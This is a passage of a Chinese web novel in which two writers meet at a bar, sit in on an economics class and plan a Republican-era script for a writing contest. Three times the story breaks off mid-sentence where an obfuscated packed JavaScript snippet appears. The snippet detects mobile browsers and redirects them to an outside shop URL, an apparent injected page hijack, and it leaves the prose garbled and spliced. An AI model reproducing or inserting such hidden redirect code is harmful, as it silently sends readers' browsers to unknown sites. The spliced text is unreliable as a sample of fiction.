颜语凉心里还琢磨着今晚几点睡明天才能体面地七点起，车就停在了小酒馆附近的停车场。 两人一前一后进了“街角”。 进门的那一刻，颜语凉眼睛一亮——半月没来，这里的装横变了很多。 以前是很普通的酒馆，中间是一个台子，每天晚上六点驻唱乐队就在这边唱歌，没节目的时候灯光昏暗，有节目的时候闪得跟KTV也没差。 现在改装成了海洋风，吧台的台面是漆黑的，台壁确实发光的流动的深蓝色，天花板上倒挂着丝绸一样的布料，微弱的白光深陷其中，就像一排排垂涎欲滴的钟乳石。 座位分为了大厅的开放式桌子和半开放式的小隔间。小隔间的墙壁是玻璃缸，里面不断升腾着浅蓝色的泡泡。 “好漂亮啊。”颜语凉很新奇地去摸吧台边柱子上的晶石状石头，“我们不会是来错地了吧？” 祝君忱摇摇头说：“没来错，换老板了。” 吧台里，小新正利索地擦着酒杯。 颜语凉走近，看见他身后的一排柜子里有一排放的全是各种口味的诱惑。 他还在对小酒馆的改变感到陌生，祝君忱却已经走到了吧台最东边的小角落，这边依然有一盏昏黄的小吊灯，一挂开得正盛的绿萝，和他们半个月前相遇的那一天几乎没有变化。 “这边没改？”颜语凉有些意外，“看来新老板还挺中意这个角落。” 同样是静谧的意境，这一片的昏黄和其他地方是深蓝搭起来就像是茫茫大海上的一座枯灯。 小新缓步踱了过来。 祝君忱听完颜语凉的话抿了下唇说：“来一杯golden dream。”这是他上次就说好的。 颜语凉这才去看菜单，发现菜单上多了很多没见过的原创酒，诸如“枕上书”“金桥落日”“粉红心脏”。很多都是他没喝过的，看图片感觉都好好喝。 颜语凉翻了好俩页菜单，选了个最中意的名字：“粉红心脏。” 就他看菜单的时间，小新已经把祝君忱的金梦调完递了过来。 小新从柜子里拿了个香槟杯，然后从冰柜里拿了一盒透明的碎冰块，让香槟杯浸满冰块，他带着手套捞了两把冰捂在杯子两侧，微微融化的冰听话地沾在杯壁上，黏成了一个透明的爱心。 这是颜语凉第一次现实中看挂冰，他惊奇地不想眨眼睛。 小新拿了一杯蔓越莓汁和一瓶朗姆酒倒入摇酒壶，缓而重地摇着。 粉色偏红的酒液最后被倒入香槟杯，给那颗心脏着上色。 “真正的心脏不是那块冰，而是一层层浸入的酒液。”颜语凉接过这杯酒惊叹道，酒杯里冰块很多，一晃就清脆地响，晃出粉色的波浪，他突然联系到一本书，转而问祝君忱，“你看过今辰好的《海纳百石》吗？” 祝君忱捏着酒杯的手搁在桌上，眨了下眼，说：“我朋友看过。” “这本书里有个设定和这杯酒很像，男主认为一块心形石头是他的心脏，但其实不是的，他的心脏在胸腔里跳动，就像这杯酒一样，这些液体才是真正让它存在的。” 祝君忱眸光微动，问：“你喜欢今辰好写的书吗？” 其实他上次试探过，颜语凉应当是不喜欢今辰好的，但是今天这本书是颜语凉先提起的，祝君忱就没忍住问。 意外的是，颜语凉皱了下眉说：“喜欢。” 祝君忱正怀疑自己之前是否是判断失误，颜语凉却又说：“但是我不喜欢他人，我给他小说打100分，但是我给他人打-200分，所以整体是-100分。” “为什么？” 文圈谁不知道言不言和今辰好有“血海深仇”？ 颜语凉一句“因为我是言不言”跑到嘴边又咽了下去，他想起来那天晚上祝君忱脱口而出问的“你也不喜欢言不言吗？”，当时对方说的是朋友不喜欢，但是人以群分，万一祝君忱也不喜欢呢？ 他们之间的关系远没有达到可以为对方改变喜好的地步。 “因为我妒他才。”颜语凉开玩笑般一笔带过，没多解释，喝了口“粉色心脏”，酸甜酸甜的带着酒味，是他喜欢的味道，酒精的酸麻劲从喉管一直流到胸腔。 他们今天没有在小酒馆喝很多的酒，后来又点了两杯便回去了，期间他们有一搭没一搭地聊的话题不算少，但是在某句话的间隙，颜语凉发现祝君忱眼帘垂下遮了半目，他敏锐地察觉到对方一闪而过的失落。 难道是因为朋友们的喜好不同所以左右为难了？ 回到家里才刚过十点，想想的饭盆子空了，颜语凉开门的时候迈着优雅的猫步子喵喵叫着讨饭吃。 颜语凉换过鞋摸了把想想，小猫轻唤一声蹭过他的指尖，绕过他的手掌乖巧地坐在饭盆边。他叫着小猫的名字给它添饭梳毛，颜语凉总是享受这个时刻。 【忱.】:明早起得来吗？ 搁在沙发上的手机跳出消息，颜语凉抱着想想靠在沙发上回消息。 【我无言以对】：别小看我 【我无言以对】：七点没发消息直接连环call就行 【忱.】：记得别静音。 颜语凉今天课多，晚上还跑西校区站了一小时，最后还去喝了点小酒，头晕脚软，洗过澡一沾床就睡着了。 许是昨晚睡得早，他第二天一早在闹钟响之前几分钟就醒了。 他缓了一会儿，翻身把床头柜上已经充满电的手机拔下来，看了眼时间：6：57，直接给祝君忱发去消息。 【我无言以对】：我醒了。 【我无言以对】：在闹钟响之前，帅不帅 祝君忱几乎是立马回复。 【忱.】:帅 【忱.】:下来吃早饭吗？ 【我无言以对】：我不喜欢吃早饭。 颜语凉回完这句话就起床换衣服洗漱去了，家门被敲响的时候他还在臭美地理他烫了半个多月的小卷毛。 “谁啊？”颜语凉心里咕哝，翻开猫眼看见外面站着祝君忱，便把门打开了，“你怎么来了？我马上就下楼了。” 祝君忱手上拿着个果绿色的餐盒，小幅度地晃了两下说：“早饭。” “我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758094|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说不爱吃吗？” 祝君忱把餐盒往回收了一点，目光轻轻地落在上面：“我早饭吃的鸡蛋，不知道你会不会对鸡蛋过敏，想起来上次做的饼你很爱吃，用剩的边角料做了些小糖饼。” 被收回餐盒又被往前递：“真的不吃？” 颜语凉想起那天晚上吃的香喷喷的饼，抬眼同祝君忱的那双眼眸对上，那双眼睛实在是太漂亮了，棕黑色的、亮晶晶的，而且这是对方亲手为他做的，让人根本找不到理由拒绝。 “吃。”颜语凉接过餐盒，看到祝君忱眼里的期待变成了满意，漾起一个笑。 再来到西校区，颜语凉已经比昨天更熟悉了一些，祝君忱做的小甜饼也很好吃，和那天晚上吃的饼口感差不多，不过是甜口的。 颜语凉本来想一出门就立马给林夕繁打个电话，但是看到外边的天才刚刚亮起来，有些于心不忍。 快到学校的时候，祝君忱问他：“你打算什么时候请你弟弟吃饭？” 颜语凉划着手机愣了一会儿，说：“中午一点吧，现在太早了。” “那你打算先做什么？” 颜语凉想着反正自己是“流浪诗人言不言”，那在西校区流浪半天是不是很合理，说：“瞎逛会儿吧。” 祝君忱邀请道：“要不要来旁听我们微观经济学？” 颜语凉觉得这个邀请和自己那次邀请对方一起逛校图书馆一样无聊，不过他没有拒绝，反而有些好奇地问：“你们的教授，头发还健在吗？” 到教室的时候离上课还有十五分钟，赶到教室的学生不多，他们从后门以前一后地进教室坐在了倒数第四排的最边上。 有人正好奇地回头看，坐在后排的几个女生明显被颜语凉惊艳了一把，偏头窃窃私语着。 “你没有上课搭子吗？”颜语凉坐在他身侧，他没有带包，祝君忱便给了他一本笔记本和一支笔。 “没有。” “那你上次一起去小酒馆的朋友呢？” 祝君忱把课本拿出来整整齐齐放在桌子上，闻言似乎回忆了两秒说：“他读研在国外，学设计的。” “哦。”颜语凉沉吟两秒，习惯性地转了两下笔，发现这支笔也转得很顺手。 陆陆续续一批又一批学生落座，门口进来了一位老师，戴着眼镜，小中分。 颜语凉看着眼熟问祝君忱：“这老师我好像见过。” 他说着凭感觉翻起手机来，五分钟后，果不其然，在陆择的朋友圈翻到了导师和这位老师的合照。 ？ 颜语凉反复放大照片确认，还递给祝君忱看，祝君忱靠过来看的时候他突然想起来自己导师是他舅舅。 “这老师是你舅舅的大学同学？？？” 祝君忱说：“我不知道。” 陆择工作号和生活号是分开的，祝君忱不知道也正常。 但是陆择工作号的朋友圈暑假里还发过有关颜语凉的东西。 这位老师如果是个不爱刷朋友圈的人，那就不会认识他。 思及此，颜语凉缩了缩头，想隐身在人群里，心说自己应该再往后坐两排的。 或者要不现在遁了吧！ 19. 千纸鹤 颜语凉缩头缩脑半节课，发现老师并没有逮住他，便放松下来。 “我可以撕张纸下来吗？”颜语凉摸着祝君忱之前递给他的笔记本，这个课实在是晦涩难懂，他都感觉自己被抓回高中上数学课了。 “可以。”祝君忱听课看起来就像那种很乖的隔壁家小孩，开小差都开得很不明显。 颜语凉大学的课程几乎都是课后苦学，课堂上左耳朵进右耳朵出，留下的全是小说剧情点。但是到期末课程绩点又极高，成了旁人艳羡的对象。 经过主人同意的颜语凉从笔记本里撕了一片空白的纸张，巧手三两下叠了只千纸鹤。 正在认真画黑板上一个表的祝君忱看到自己的书上出现了一只尖嘴尖尾巴的千纸鹤。 尖翅膀上一个写着“少壮不努力”一个写着“老大徒伤悲”。 祝君忱一只手捏着这个千纸鹤，另一只手对着黑板把图表画完整了。 颜语凉看着他画完后从笔盒里抽了支蓝笔，左手按着纸鹤写了串字上去，写完又愣住两秒，添了几个字上去，最后把纸鹤推到他旁边。 [不要愁老之将至，你老了一定很可爱。——朱生豪]* 可能刚刚的愣神是在回忆作者是谁吧。 颜语凉不舍得把这个纸鹤还给祝君忱了，在对方没注意到的时候把纸团子塞进了口袋。 坐了两节课，靠近九点半，颜语凉就从后门跑出去，左看看右看看闲逛到十点，给林夕繁发消息约出来吃个午饭。 【我无言以对】：我现在在西校区 【我无言以对】：你们在哪？香橙水榭去不去？ 【叶子】：我在宿舍呢，待会和小鱼一块儿来。 【叶子】：别太破费，颜哥。 【我无言以对】：我在北门等你们。 【我无言以对】：我朋友家开的店，我充的vip卡都没处用。 由于各种各样的原因，颜语凉已经有两三年没有和这两个弟弟一起好好吃个饭了。 他站在北门没一会就看到两个熟悉又免不了有些陌生的身影。 “小颜哥哥！！”向他招着手跑来的就是林夕繁。 旁边话少一些的男生叫俞归絮，看见林夕繁往他这跑得飞快，脚下步子也加快了些。 “颜哥，你这头发烫过啊！”林夕繁到了他跟前第一句话就是慰问头发。 俞归絮也唤了声颜哥。 “对，”颜语凉摸摸自己的头发，“烫半个月了，好看不？” “好看！” 几人上了车，颜语凉刚刚在香橙水榭订了个小包间，点了两个小菜。 “你俩都在西校区什么专业？”颜语凉记得这俩小孩一个是学文的，一个是学理的，在一个专业的可能性很小。 果不其然，林夕繁眨眨眼说：“我是临床的，学医去了。” “看不出来啊，”颜语凉给他倒了杯橙汁，“还没有个医生样呢，以后头发不会掉光光吧。” 林夕繁笑着挤旁边的男生：“掉光光了，就把俞归絮的头发也拔光光。” 俞归絮接过颜语凉递过来的果汁说了声谢谢，闻言状似凶巴巴地看了眼林夕繁。 林夕繁裹紧自己，却还是和他挨着，说：“真可怕。” 颜语凉看着他俩的互动，微眯了一秒眼睛，林夕繁是他的亲表弟，但俞归絮不是，俞归絮小时候身体差寄养在林家，却没有半点寄人篱下的不堪，两人从小穿一条裤子长大，关系很好。 后来林家奶奶去世了，他们便搬去了城里上学，课业忙，回老家的次数屈指可数。但是颜语凉见到他们的时候他们关系似乎总是这么好，俞归絮在北京治病的时候林夕繁还托他送东西呢。 “小鱼学的什么专业？”颜语凉问。 林夕繁抢着答：“他学的政治。” “不错，”颜语凉说，“以后考个铁饭碗。” 林夕繁拿手机给颜语凉看了张照片，是一地的西瓜菜瓜还有小零食：“我们来北京之前回了趟知阳，这是七婆他们塞的，硬要我们带来吃，但是后来全留在知杏给我们爸妈吃了。” 颜语凉笑道：“这可是老传统了。”老一辈人知道小孩们什么都不缺，但是依然什么都想给小孩们塞。 林夕繁凑近说：“其实里面有个西瓜是七婆让我们带给你的，但是实在是太累赘了，想着你肯定也不缺，大不了来这里给你买一个也行。” 颜语凉打心底赞成，转而又和他们聊了一些关于学校的事，诸如军训、课程满不满、宿舍环境云云。 在第三道菜端上来时，颜语凉的手机震了两下，两个弟弟在你一句我一句地聊着天，他便解锁手机去看消息。 【1XX XXXX XXXX】：小颜，你怎么跑去上经济学的课了？ 【1XX XXXX XXXX】：[图片] 【1XX XXXX XXXX】：[图片] 【1XX XXXX XXXX】：已经和小祝这么熟了？ 导师发的图片是和另一位老师的聊天记录，聊天记录中话题是对方先提起的，拍了张照片问陆择“这是不是你朋友圈经常提起的学生？”，对面是八点半发的消息，但是陆择不常看微信估计现在才看到。 原来不是不报，是时候未到。 【颜语凉】：去看看金钱是怎么练成的。 他刚从短信给导师发完消息，陆择又从微信发来了几张图片，全是从巡课监控里截的他在课上做的小动作。 【我无言以对】：其实这不是我，这是我的双胞胎弟弟。 【陆择】：邀请小祝一起参赛的事怎么样了？ 【我无言以对】：我们已经签了君子协议，约好一起参加了。 【陆择】：什么君子协议？ 【我无言以对】：颜氏君子协议，落子无悔，童叟无欺。 “青书”比赛的赛程及规章制度的官方文件在三天前的中午就发表了，颜语凉把两个弟弟送回学校，下午赶去学校上了一下午的课，回到家坐在阳台上又打开这个文件看了两三遍。 剧本赛道其实每年的赛程都差不多，分为初赛、复赛和决赛，前面两个阶段为了保证公平性，是匿名上传文件的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758095|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >初赛只需要交一份故事大纲和主角的人物小传就行，这个赛段筛掉的人很少，几乎只要是你的故事大纲完整，人物小传里的语言没有颠三倒四就能通过，报名加参加初赛给的时间很足，一直到九月十五号。 下一步的复赛就要在国庆之前提交完整的剧本，最后团队还得出席答辩，这个时间给得不算多，看网上的经验推荐是写完故事大纲就可以马不停蹄的开始赶剧本了。 这次的剧本赛道的主题有四个，颜语凉选择了其中的“民国风情”。 他之前没写过有关于民国的故事，纵使脑子里有个故事的大概走向，他还是有很多地方不知道怎么下手。 于知也参加了青书比赛，但是报的是小说赛道，第二天一早就联系了颜语凉，想从“老玩家”那讨点经验。 颜语凉前一天很晚才睡，本来想赖个床没想到想想一大早把他折腾醒了，看到于知消息他便匆匆赶往学校。 小说赛道的赛程只有初赛和决赛，分为短篇和长篇，短篇的字数限制在五万，长篇也有字数限制好像是三十万，他和于知约在东校区的咖啡店聊天。 他很喜欢和于知聊写作的事，这个腼腆的小孩总有许多有趣的点子。 早上一起床颜语凉就给祝君忱发了“青书比赛”的文件，想着今天挑一段时间聊一聊剧本大纲的事，如果祝君忱认真地想学一些关于写剧本的知识的话，这个比赛就不能光自己一个人操刀。 他和于知盯着电脑聊得久，手机放在口袋里有消息来也没注意。 聊完再解锁手机的时候发现祝君忱几个小时前就给他回了消息，似乎是因为他半天不回消息直接找到东校区来了。 【我无言以对】：[文件] 【我无言以对】：今天你什么时候有空，我们可以聊聊比赛的事 【忱.】：可以，我今天没课 【忱.】：你起床了？吃早饭了吗？ 【忱.】：你去学校了？ 【忱.】：我来你校区找你？ 【忱.】：到了 【忱.】：你在哪？ 颜语凉看着一条条的消息，心里负罪感很强，直接发了个定位消息过去。 之前刚认识的时候觉得祝君忱不像是爱主动联系的人，没想到现在有事直接追着找。 “言哥，还有一个问题就是参赛之后这个版权是归主办方还是归我？我之后还想把这篇小说扩写成小长篇，发在尽书上。” 颜语凉给祝君忱回完消息，说：“归你，但是至少得等决赛群众投票结束之后才能往网站上发。” “言哥，你觉得我这个故事怎么样？”于知抱着电脑，文档里的一些大纲给颜语凉看过，但是于知问的很多都是剧情不通点该怎么顺，哪些地方出了些常识性错误，颜语凉不会给他灌输自己的思想，更多的时候是纠错和给一些中肯的建议。 “这个故事完整性很强，但是有很大的进步空间，如果想拿更好一点的奖的话你文章的意义可以再上升一点，就像高中的时候常说的升华主旨，但是也有风险，得看你有没有能够达到你想写的高度的笔力。” 20. 同宿点 祝君忱推开咖啡店玻璃门，颜语凉坐的那张桌子正好在门后，他抬头和对方对上目光，手上还拿着一支笔，转了一半，浅浅地挂在虎口，张口说：“早。” 店里还开着微凉的空调，有人走进来的时候带进来几缕风，店员正在热情地招呼着顾客，咖啡机靠着的墙壁上有一个钟，时针已经指向九点。 祝君忱迈步走近，也说了声早。 颜语凉拉开自己身侧的椅子，指着于知对他介绍道：“这是于知，你之前应该也见过，是我小弟，今年刚大二。” 转头又对于知说：“这是祝君忱。” 于知冲祝君忱很有礼貌地牵起一个笑，他马上还要上课便同两人道了别。 祝君忱看着他背着包离去的背影，说话声音不大：“你的小弟挺多。” 颜语凉一听纠正道：“我就这一个小徒弟，昨天两个是表弟。” 祝君忱不想管他有几个徒弟几个表弟，盯着颜语凉手边的咖啡问：“喝的什么？” “气泡美式。”颜语凉转着手边的塑料杯子，吐槽说，“昨晚睡太晚了，今天被家里猫吵醒了，得喝点。” 祝君忱看到他眼角一丝青色，微不可察地皱了下眉：“你们东校区有没有好吃的早餐店？” 颜语凉用笔抵着下巴想了一会儿，他很久没去学校的早餐窗口了，学校的餐品种类年年都在变，变来变去也就那样，思来想去感觉哪家店都差不多，还得看对方的口味，于是他问：“你想吃什么？” “粥就行。”祝君忱的回答不咸不淡的。 颜语凉点点头，把桌上的纸和笔收进书包，示意祝君忱跟他走。 东校区的每个食堂都有一两个早餐窗口，粥并不是不常见，他带祝君忱来到最近的食堂，这人身高在人群中实在太过突出，路过的几个小姑娘纷纷朝他俩瞅。 祝君忱进了食堂比颜语凉还积极，排进一个窗口的队伍，抬头看着菜单，竟很认真地挑选起来。 颜语凉紧跟其后，微微偏头看他，心说这人简直是早饭魔王。 早餐队伍总是往前流得快，很快就轮到祝君忱了，颜语凉站在旁边滑两下手机的功夫，对方就从食堂阿姨那拿到了东西。 走到一边，颜语凉才发现对方买了两人份的粥和烧卖。 颜语凉还在嘀咕祝君忱吃这么多午饭还吃不吃了，早饭魔王就给他递了一杯小米粥。 “啊？”颜语凉一懵。 “早上空腹喝那么苦的咖啡，得养养胃。”祝君忱垂目看着手上的粥，很自然地又往前伸了些。 祝君忱的手虚覆着粥的盖子，五根手指骨节分明，稍微使了些力抓着杯盖边缘，手背上便凸显几根筋脉，煞是好看。 “不要吗？”祝君忱见他只盯着自己的手不回话，又问。 “要。”颜语凉抬手接过了这杯粥，粥是刚盛进杯里的，温热舒服地暖着手心。 小颜同学搭起的懒得吃早饭礁堡被早饭魔王用魔爪轻而易举攻陷了。 颜语凉今天没什么课，他今天本来就想来校图书馆借几本书，不过于知喊他他便比原先计划的时间提早很多地来到了学校，吃过早饭后让祝君忱陪着一块跑了趟图书馆，便回家去。 颜语凉想找个正经、安静的地方聊比赛的事，家里小书房、小阳台就是个不错的选择。 他们都是开车去学校的，回去的时候就不方便坐同一辆了，本来两人一前一后跟得还算紧，但在某一个时间短的红绿灯路口，颜语凉跑过去之后祝君忱正好被红灯拦住了，两人被这个时间差拉了蛮长一段距离。 颜语凉心说正好，马不停蹄地回到家，这收拾收拾，那收拾收拾，总觉得哪里都不够完美。 想想翘着尾巴在他脚边绕来绕去捣乱，颜语凉把猫薅起来狠狠摸了两把放在沙发上警告道：“你待会乖一点哦，不准跑酷，不准跳高，扒拉别人不能伸爪子知道吗？” 想想夹着嗓子“喵”了一声，被颜语凉刮了下鼻子骂：“小傻猫。” 骂它大清早坐自己胸口模拟鬼压床把自己压醒了的恶行。 “咚咚咚。” 门被轻轻敲响，颜语凉放下猫抬声应道：“来了——” 门外正是被他刚刚抛在后边的祝君忱，祝君忱朝他牵起一个笑，颜语凉给他拿了双一次性的拖鞋。 祝君忱在玄关进来的时候目光落在鞋柜上的小篮子里，那里面有许多少女心爆棚的小发卡小围脖，还有一个写着字的千纸鹤和一张?签字画押的纸，显得格格不入。 颜语凉回头看见他在看这些小东西，慌忙说：“这不是我戴的，也不是用来送小姑娘的，这是我家猫的。” 其实祝君忱还没问啥，反而他自乱阵脚显得很奇怪，但是祝君忱只不过是笑着说：“很可爱。” 想想看到有客人来，从沙发上跳到毛茸茸的毯子上，昂着头迈着猫步向陌生人缓步走去，钻到祝君忱的脚边，绕着，一会儿抬头一会儿低头地使劲观察。 颜语凉垂头看它钻来钻去，向祝君忱解释说：“他喜欢你裤脚的图案。” 对方却没吭声，目光半垂着看着这个家伙，颜语凉发现他伸腿的动作僵住了，猜测道：“你怕猫吗？” “不是，”祝君忱摇摇头说，“从小到大没碰过，不习惯。”也不知道该怎么相处。 颜语凉倒是以前在乡下就爱喂外边的野猫，浪迹天涯的丧彪心情好了可以给你摸两下，心情不好了挠你两下送你去医院打疫苗。资深猫奴颜语凉耸耸肩说：“那你少了很多乐趣。” 想想像是观察完了，在颜语凉说话间跳到鞋柜上舔舔爪子，它的身子不算瘦，直接把颜语凉随手放在那边的车钥匙挤下去。 “啪”的一声脆响，钥匙躺在了地上。 颜语凉走过去捡起来，老老实实把钥匙挂在应该挂的地方，对祝君忱补充说：“当然，也少了很多麻烦。” 祝君忱闷头笑了一声，而捣乱者舔完爪子开始悠哉哉地舔胳膊。 祝君忱扫视一圈，看到他在家里很多地方都贴上了一些便签纸，五颜六色的，便签纸上大大方方写着几个英语单词，厨房的玻璃门上尤其多，满满当当的。 “这是？” 颜语凉都习惯这些便签纸了，这会儿站在客人视角才发现这些便签显得房间有些乱：“哦，我上学期考雅思背单词用的，一直贴着，贴久了还蛮顺眼的。” 祝君忱眸光微动，从厨房门上挪到他身上问：“你要出国吗？” 颜语凉招呼祝君忱去书房，想想在身后屁颠颠地也跟了进来，他应了一声说：“我想去多伦多。” 祝君忱在他身后似乎笑了，评价道：“好地方。” “没去过，有机会去玩玩。”颜语凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758096|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着自顾自地往前走了两步，发现祝君忱又看向了那些便签纸，问道，“怎么了？” “我在想，很高兴在你出国前，认识了你。” 颜语凉发现祝君忱今天嘴真甜，美滋滋地走进书房。 这个书房不算大，但是也不小，一进来就能看到琳琅满目的书。两个靠墙的小书架，靠着窗有一张黑木的桌子，桌上摆着一些专业课的书和一部笔记本电脑，还有一些写写画画的A4纸。 颜语凉老大爷一样坐在椅子上，示意祝君忱坐他对面。 祝君忱还在看这个小书房里有哪些书，他下意识地去找有没有自己的，四下看了一圈才相信颜语凉是真的给他打-100分。 “你在找自己的书吗？”颜语凉靠在椅背上问，“陆老师说你卖了两三本的影视版权，那肯定也有出版的，怎么样？我的书架上有没有你的书？” 祝君忱很轻地摇摇头。 颜语凉看起来比他还失望，颇有些垂头丧气地趴在书桌说：“那我看的书还不够多。” 他张张口想问对方的笔名，但想到他们认识的时间也不算短了，对方要是想说的话肯定会自己说的，要是不想说他问也没用，颜语凉便换了个话题直接开门见山地把昨天晚上在A4纸上写的人物设定推给他。 纸上写了五个人物，都没取名字，只是写了一些大致的人物性格，但是能一目了然地看出来他们几个的关系以及表面上的形象。 “这次的青书大赛剧本赛道一共有四个主题，‘未来侦探’、‘民国风情’、‘古窗旧梦’还有一个‘青空志怪’。我想写民国的故事，你写过吗？” 祝君忱有些犹豫，但还是点了下头。 颜语凉没注意到他的迟疑，继续说：“我想写的主角是一名民国时的富家千金，她做了一个梦，梦里她的父亲被举报贪墨财库，她的哥哥被抓到勾结外寇，最后家破人亡，坠入海中，惊醒后以为这只是一个很普通的噩梦，没想到梦里的事情开始一一应验，可是她甚至不记得任何梦中细节，只能一点一点地看着自己曾经光鲜亮丽的家园变得破败，最后逃亡海上，坠入海中。结果又醒来了，发现一切只是一个梦。接着她开始拯救家族。” “我一开始跟朋友说了这个故事，朋友说这个想法有点像电影源代码，然后我暑假就把这部片拉了。” 颜语凉讲故事条理很清晰，三言两语就描绘出一个迷人的故事，祝君忱看着A4纸上第一个扎着小辫子穿着大裙子的可爱q版人，这应该就是那位千金了。 听完，祝君忱评价道：“没看过那个电影，不过这个设定有点像同宿点。” “什么是同宿点？”颜语凉第一次听说这个名词，好奇道。 “是数学上的一个知识点，简单来说这个点是一个状态极其不稳定的点，再通俗一点来说，就像是……”祝君忱顿了一下，似乎在想一个更加通俗易懂的比喻，“就像游戏的存档点，在那个点你做的任何选择都会影响你未来的走向，蝴蝶效应跟它同一个道理。” “好有意思的名词。”颜语凉举一反三道，“就像我在小酒馆碰到你那天，如果我没有选择去吧台那边点酒喝，我们就不会像今天这样坐在一块儿讨论剧情了，对吗？” 颜语凉说完感觉自己的这个例子很对，但是祝君忱没有说对或者不对，只是问道：“结局呢想好了吗？” 21. 言不言 颜语凉摇摇头，支着腮说：“我想了蛮多的，不知道是写be、oe还是he，感觉各有各的妙处，连主角名字都没想好。” 祝君忱捞了支笔，在A4纸上写了两个字，问他：“你一般都怎么取名字。” 颜语凉一眨眼，脸上绷着笑，似乎等这一part很久了，回头从书架上拿了个水晶球出来：“我一般施法取名字。” 祝君忱眉头一挑，重复他的话：“施法？要念咒语吗？” 祝君忱居然配合他演戏，颜语凉心里高兴，手托着水晶球的底盘拨开了它的开关，水晶球便亮起来，是有些非主流的紫光，紫光流动间水晶球里边开始跳一个个字。 “百家姓？”祝君忱仔细看那些像雪花一样飘着的字，眼熟道。 “聪明。”颜语凉又拨了一个键，紫光变成了蓝光，“还能变颜色。” “还能旋转。” 水晶球的颜色开始旋转。 “还能闪烁。” 水晶球的颜色开始跳动。 “还能五颜六色。” 水晶球的颜色五彩斑斓起来，照在天花板上就像一道极光。 语毕，看着祝君忱脸上半是震惊半是无语的表情，颜语凉终于忍不住把头闷在臂弯里笑起来，笑得浑身都在抖，耳根子都笑红了。 祝君忱看着他，脸上映出水晶球的斑斓，嘴角挂着笑看着颜语凉。 颜语凉终于止了笑，正色道：“不过，它也可以是一个很普通的发白光的水晶球。它是有触感功能的。” 颜语凉盯着水晶球里边飘的字，三四秒便找到了，手指往上边一戳，这个字便浮到了他的手指边——是“祝”。 “和转盘功能也差不多，但是很好玩，还能当个氛围灯用。”颜语凉把水晶球推过去，像个欣喜着分享自己玩具的小孩，“你闭着眼睛戳一个，我们把主角的姓定了。” 祝君忱很听话地阖上眼睛，默数三秒后点了一个字——“毕”。 “好字！”颜语凉称赞道，“毕有结束的意思，每次女主以为的结束都是一次新的开始。” “毕回？”祝君忱脱口而出一个名字。 被颜语凉否决了：“这个名字不够小姐。” “转圜？毕圜？”祝君忱在纸上写下这个名字。 颜语凉盯着这两个字默了一会儿，仍然对这个名字不是很满意，这个名字谐音“闭环”，听起来不错，但是其实他的剧情更侧重于重开，而不是闭环，他干脆用上了祝君忱之前的比喻，说：“再想想，女主第一次读档后告诉父亲和哥哥梦里的事，但是父亲和哥哥都不屑一顾，最后重蹈覆辙，再次坠海再读档。” 颜语凉看着祝君忱在纸上又写了好几个字，突然相中了其中一个：“这个晗，是不是有日出的意思？” 祝君忱纠正道：“差不多，是天快亮的意思。” “毕晗，一次读档是一次梦醒，结束于天将明的梦醒时分。” 定了主角的名字，配角的名字就更加好想，颜语凉和祝君忱三言两语就定下了名字，考虑到那个时代的大户人家讲究字辈，女孩的父亲叫“毕经珂”，女孩的哥哥叫“毕怀瑜”。 “珂”和“瑜”皆是冰清玉洁的美玉，一个高贵，一个优雅。 “却又谐音，一个几经坎坷，一个怀智若愚。” “那你想好他们的故事了吗？毕晗梦里的事究竟是真的还是假的？毕经珂和毕怀瑜是真的通敌叛国还是被诬陷的？”祝君忱问道。 “没有，暂时你看到的是脑子里什么都想过但是感觉哪个都差点意思的颜语凉。”颜语凉有些懊恼，他问对方，“如果是你的话，你想怎么写？” “其实，”祝君忱握着笔，把纸上的几个字圈起来，说，“可以all in，毕晗每一次读档读的都不是原先的那个存档了，可以是平行世界，在不同的平行世界中哥哥和父亲的行为是不同的。” “所以她在开始改变命运之前需要判断自己的哥哥和父亲是否有做过那些胺脏的事。”颜语凉眼睛一亮，这就满足了他的每一个想法，但是这样写风险极大，一旦没有做好细节处理剧情就会变得无聊拖沓。 祝君忱说：“还得让毕晗意识到，她不是真正意义上的重来，而是到了另一个世界重来。” 颜语凉灵光一闪：“我知道我们这个剧本叫什么名字了。” 他勾起一个笑，抽出了一张新的A4草稿纸，竖着画了四个穿着小围裙的小人。 